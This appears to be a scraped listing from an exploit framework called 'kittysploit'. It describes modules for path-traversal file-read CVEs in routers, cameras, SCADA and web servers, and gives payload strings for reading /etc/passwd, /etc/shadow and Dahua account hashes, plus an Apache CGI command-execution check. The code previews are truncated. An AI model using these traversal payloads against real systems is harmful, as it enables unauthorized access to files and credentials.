HiSilicon Encoder - Path Traversal File Read (CVE-2020-24219)

Reads arbitrary files via HiSilicon encoder path /../../sys/devices/media/13070000.jpgd//. !/usr/bin/env python3 -- coding: utf-8 -- """HiSilicon encoder arbitrary file read CVE-2020-24219.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient from lib.protocols.http.lfi...

Ruby on Rails - Accept Header File Read (CVE-2019-5418)

Reads arbitrary files via CVE-2019-5418 Accept-header path traversal ../../../../file. !/usr/bin/env python3 -- coding: utf-8 -- """Rails Accept-header arbitrary file read CVE-2019-5418.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient from lib.protocols.http.lfi...

Zyxel Device - Export_Log File Read (CVE-2023-28770)

Reads arbitrary files via /ExportLog?/ on vulnerable Zyxel devices CVE-2023-28770. Does not open a shell session. !/usr/bin/env python3 -- coding: utf-8 -- """Zyxel ExportLog unauthenticated file read CVE-2023-28770.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient...

Adobe ColdFusion - locale File Read (CVE-2010-2861)

Reads arbitrary files via CVE-2010-2861 locale parameter POST to CFIDE administrator pages. !/usr/bin/env python3 -- coding: utf-8 -- """Reads arbitrary files via CVE-2010-2861 locale parameter POST to CFIDE administrator pages.""" from kittysploit import from lib.protocols.http.httpclient import...

hybris Commerce - medias context File Read (CVE-2014-8871)

Reads arbitrary files via CVE-2014-8871 base64 context parameter on /medias/. !/usr/bin/env python3 -- coding: utf-8 -- """hybris Commerce medias context file read CVE-2014-8871.""" import base64 from kittysploit import from lib.protocols.http.httpclient import Httpclient from...

D-Link DWR - /uir Path Traversal Detection (CVE-2017-6190)

Detects CVE-2017-6190 by requesting /uir/../../../../../../etc/passwd ../ traversal after /uir/, distinct from CVE-2018-10822 // style. !/usr/bin/env python3 -- coding: utf-8 -- """D-Link DWR /uir path traversal CVE-2017-6190.""" import re from kittysploit import from lib.protocols.http.httpclien...

Huawei HG659 - /lib/ Path Traversal File Read

Reads arbitrary files from Huawei HG659 via GET /lib/....//....//. !/usr/bin/env python3 -- coding: utf-8 -- """Huawei HG659 /lib/ arbitrary file read.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient from lib.protocols.http.lfi import Lfi class ModuleAuxiliary,...

Dahua Devices - Path Traversal Account Dump (CVE-2024-13130)

Exploits path traversal to ../mtd/Config/Sha1Account1 or Account1 on Dahua and OEM devices, leaking SerialID and Password hashes. !/usr/bin/env python3 -- coding: utf-8 -- """Dahua/OEM path traversal to account config CVE-2024-13130.""" from kittysploit import from lib.protocols.http.httpclient...

D-Link DAP-2020 - webproc File Read Detection (CVE-2021-27250)

Detects CVE-2021-27250 by POSTing to /cgi-bin/webproc with errorpage=/etc/passwd and looking for passwd contents in the response. !/usr/bin/env python3 -- coding: utf-8 -- """D-Link DAP-2020 webproc errorpage path traversal CVE-2021-27250.""" import re from kittysploit import from...

Mojolicious - Directory Traversal File Read (CVE-2011-1589)

Reads arbitrary files via CVE-2011-1589 /..%2f traversal. !/usr/bin/env python3 -- coding: utf-8 -- """Reads arbitrary files via CVE-2011-1589 /.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient from lib.protocols.http.lfi import Lfi class ModuleAuxiliary, Httpclien...

ManageEngine SDP - FILENAME File Read (CVE-2011-2757)

Reads arbitrary files via CVE-2011-2757 FileDownload.jsp FILENAME traversal. !/usr/bin/env python3 -- coding: utf-8 -- """Reads arbitrary files via CVE-2011-2757 FileDownload.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient from lib.protocols.http.lfi import Lfi...

Icinga Web 2 - static/img Path Traversal Detection (CVE-2020-24368)

Detects CVE-2020-24368 by reading /etc/passwd via /static/img?modulename=&file=../../../../../../../etc/passwd. !/usr/bin/env python3 -- coding: utf-8 -- """Icinga Web 2 static/img module path traversal CVE-2020-24368.""" import re from kittysploit import from lib.protocols.http.httpclient import...

Mojolicious - Directory Traversal Detection (CVE-2011-1589)

Detects CVE-2011-1589 by requesting /..%2f..%2f..%2f..%2f..%2fetc/passwd. !/usr/bin/env python3 -- coding: utf-8 -- """Detects CVE-2011-1589 by requesting /.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: info = 'name':...

Miele PST10 - Directory Traversal Detection (CVE-2017-7240)

Detects CVE-2017-7240 on Miele PST10 WebServer by requesting /../../../../../../../../etc/shadow. !/usr/bin/env python3 -- coding: utf-8 -- """Miele Professional PG 8528 PST10 directory traversal CVE-2017-7240.""" import re from kittysploit import from lib.protocols.http.httpclient import...

Apache HTTP Server 2.4.49 - Path Traversal / RCE Detection (CVE-2021-41773)

Detects CVE-2021-41773 by reading /etc/passwd via encoded /.%%2e/ traversal under /cgi-bin or /icons, and optionally confirming CGI RCE via POST to bin/sh. !/usr/bin/env python3 -- coding: utf-8 -- """Apache HTTP Server 2.4.49 path traversal / CGI RCE CVE-2021-41773.""" import re from kittysploit...

Accellion FTA - statecode File Read (CVE-2015-2856)

Reads arbitrary files via CVE-2015-2856 statecode cookie LFI on /intermediatelogin.html. !/usr/bin/env python3 -- coding: utf-8 -- """Accellion FTA statecode cookie file disclosure CVE-2015-2856.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient from...

Anti-Web - write.cgi File Read (CVE-2017-9097)

Reads arbitrary files via Anti-Web /cgi-bin/write.cgi template= traversal. !/usr/bin/env python3 -- coding: utf-8 -- """Anti-Web write.cgi arbitrary file read CVE-2017-9097.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient from lib.protocols.http.lfi import Lfi clas...

MantisBT - db_type File Read (CVE-2010-4348)

Reads arbitrary files via CVE-2010-4348 upgradeunattended.php dbtype LFI. !/usr/bin/env python3 -- coding: utf-8 -- """Reads arbitrary files via CVE-2010-4348 upgradeunattended.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient from lib.protocols.http.lfi import Lfi...

Seagate Personal Cloud - File Read (CVE-2017-18263)

Reads arbitrary files via CVE-2017-18263 getPhotoPlaylistPhotos.psp?url= path. !/usr/bin/env python3 -- coding: utf-8 -- """Seagate Personal Cloud getPhotoPlaylistPhotos file read CVE-2017-18263.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient from...

PROMOTIC SCADA - Directory Traversal Detection (CVE-2011-4518)

Detects CVE-2011-4518 via /webdir/../../../../../../../../windows/win.ini. !/usr/bin/env python3 -- coding: utf-8 -- """Detects CVE-2011-4518 via /webdir/.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: info = 'name':...